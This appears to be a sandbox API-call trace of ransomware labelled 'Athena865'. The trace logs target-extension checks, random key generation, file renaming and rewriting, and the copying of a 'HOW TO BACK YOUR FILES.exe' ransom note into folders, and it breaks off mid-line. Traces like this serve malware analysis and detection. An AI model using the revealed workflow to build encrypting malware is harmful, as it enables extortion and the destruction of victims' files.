lstrlenW (lpString="nsf") returned 3 [0102.133] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0102.134] lstrlenW (lpString="nv") returned 2 [0102.134] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0102.134] lstrlenW (lpString="nv2") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0102.134] lstrlenW (lpString="nwdb") returned 4 [0102.134] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0102.134] lstrlenW (lpString="nyf") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0102.134] lstrlenW (lpString="odb") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0102.134] lstrlenW (lpString="odb") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0102.134] lstrlenW (lpString="oqy") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0102.134] lstrlenW (lpString="ora") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0102.134] lstrlenW (lpString="orx") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0102.134] lstrlenW (lpString="owc") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0102.134] lstrlenW (lpString="p96") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0102.134] lstrlenW (lpString="p97") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0102.134] lstrlenW (lpString="pan") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0102.134] lstrlenW (lpString="pdb") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0102.134] lstrlenW (lpString="pdm") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0102.134] lstrlenW (lpString="pnz") returned 3 [0102.134] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0102.135] lstrlenW (lpString="qry") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0102.135] lstrlenW (lpString="qvd") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0102.135] lstrlenW (lpString="rbf") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0102.135] lstrlenW (lpString="rctd") returned 4 [0102.135] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0102.135] lstrlenW (lpString="rod") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0102.135] lstrlenW (lpString="rodx") returned 4 [0102.135] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0102.135] lstrlenW (lpString="rpd") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0102.135] lstrlenW (lpString="rsd") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0102.135] lstrlenW (lpString="sas7bdat") returned 8 [0102.135] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0102.135] lstrlenW (lpString="sbf") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0102.135] lstrlenW (lpString="scx") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0102.135] lstrlenW (lpString="sdb") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0102.135] lstrlenW (lpString="sdc") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0102.135] lstrlenW (lpString="sdf") returned 3 [0102.135] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0102.136] lstrlenW (lpString="sis") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0102.136] lstrlenW (lpString="spq") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0102.136] lstrlenW (lpString="te") returned 2 [0102.136] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0102.136] lstrlenW (lpString="teacher") returned 7 [0102.136] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0102.136] lstrlenW (lpString="tmd") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0102.136] lstrlenW (lpString="tps") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0102.136] lstrlenW (lpString="trc") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0102.136] lstrlenW (lpString="trc") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0102.136] lstrlenW (lpString="trm") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0102.136] lstrlenW (lpString="udb") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0102.136] lstrlenW (lpString="udl") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0102.136] lstrlenW (lpString="usr") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0102.136] lstrlenW (lpString="v12") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0102.136] lstrlenW (lpString="vis") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0102.136] lstrlenW (lpString="vpd") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0102.136] lstrlenW (lpString="vvv") returned 3 [0102.136] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0102.137] lstrlenW (lpString="wdb") returned 3 [0102.137] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0102.137] lstrlenW (lpString="wmdb") returned 4 [0102.137] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0102.137] lstrlenW (lpString="wrk") returned 3 [0102.137] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0102.137] lstrlenW (lpString="xdb") returned 3 [0102.137] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0102.137] lstrlenW (lpString="xld") returned 3 [0102.137] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0102.137] lstrlenW (lpString="xmlff") returned 5 [0102.137] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0102.137] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\desktop.ini.Athena865") returned 108 [0102.137] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0102.138] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.139] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67) returned 1 [0102.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.139] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.140] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.140] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.140] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154 [0102.144] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000 [0102.145] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.146] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.146] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0102.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0102.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.146] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.147] CloseHandle (hObject=0x154) returned 1 [0102.147] CloseHandle (hObject=0x17c) returned 1 [0102.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.147] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc62b16e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.147] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.147] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.147] lstrcmpiW (lpString1="Low", lpString2=".") returned 1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="..") returned 1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="windows") returned -1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="bootmgr") returned 1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="temp") returned -1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="pagefile.sys") returned -1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="boot") returned 1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="ids.txt") returned 1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="ntuser.dat") returned -1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="perflogs") returned -1 [0102.147] lstrcmpiW (lpString1="Low", lpString2="MSBuild") returned -1 [0102.147] lstrlenW (lpString="Low") returned 3 [0102.147] lstrcpyW (in: lpString1=0x241e8f6, lpString2="Low" | out: lpString1="Low") returned="Low" [0102.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546148 [0102.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb6) returned 0x51cd08 [0102.148] lstrcatW (in: lpString1="Low", lpString2="\\" | out: lpString1="Low\\") returned="Low\\" [0102.148] lstrcatW (in: lpString1="Low\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Low\\HOW TO BACK YOUR FILES.exe") returned="Low\\HOW TO BACK YOUR FILES.exe" [0102.148] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\low\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.154] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1 [0102.154] lstrcmpiW (lpString1="Virtualized", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.154] lstrcmpiW (lpString1="Virtualized", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2=".") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="..") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="windows") returned -1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="bootmgr") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="temp") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="pagefile.sys") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="boot") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="ids.txt") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="ntuser.dat") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="perflogs") returned 1 [0102.155] lstrcmpiW (lpString1="Virtualized", lpString2="MSBuild") returned 1 [0102.155] lstrlenW (lpString="Virtualized") returned 11 [0102.155] lstrcpyW (in: lpString1=0x241e8f6, lpString2="Virtualized" | out: lpString1="Virtualized") returned="Virtualized" [0102.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546160 [0102.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc6) returned 0x5442e0 [0102.155] lstrcatW (in: lpString1="Virtualized", lpString2="\\" | out: lpString1="Virtualized\\") returned="Virtualized\\" [0102.155] lstrcatW (in: lpString1="Virtualized\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Virtualized\\HOW TO BACK YOUR FILES.exe") returned="Virtualized\\HOW TO BACK YOUR FILES.exe" [0102.155] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Temporary Internet Files\\Virtualized\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\temporary internet files\\virtualized\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.158] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0 [0102.158] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.158] ReleaseMutex (hMutex=0xec) returned 1 [0102.158] CloseHandle (hObject=0xec) returned 1 [0102.158] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore" [0102.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bb58 | out: hHeap=0x4f0000) returned 1 [0102.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a460 | out: hHeap=0x4f0000) returned 1 [0102.159] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore") returned 74 [0102.159] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\34706304F7B330020A23D7C60B281029") returned 0xec [0102.159] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.159] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore" [0102.159] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.159] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\virtualstore\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.159] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\virtualstore\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.160] GetLastError () returned 0x0 [0102.160] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.160] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.161] CloseHandle (hObject=0xf4) returned 1 [0102.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.161] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.161] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\VirtualStore\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.165] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.165] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.165] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.165] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.165] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.165] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.165] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.165] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.165] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc62b16e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.165] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.165] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc62b16e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.165] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.165] ReleaseMutex (hMutex=0xec) returned 1 [0102.165] CloseHandle (hObject=0xec) returned 1 [0102.165] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU" [0102.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5018a8 | out: hHeap=0x4f0000) returned 1 [0102.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c4e8 | out: hHeap=0x4f0000) returned 1 [0102.165] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU") returned 58 [0102.165] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2322F4A943EF7FB0F4D3EAC86E62A14A") returned 0xec [0102.166] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.166] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU" [0102.166] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.166] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.166] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.166] GetLastError () returned 0x0 [0102.166] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.167] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.167] CloseHandle (hObject=0xf4) returned 1 [0102.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.167] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.167] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e780120, ftCreationTime.dwHighDateTime=0x1d4cca2, ftLastAccessTime.dwLowDateTime=0xc62fd9a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62fd9a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.168] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR 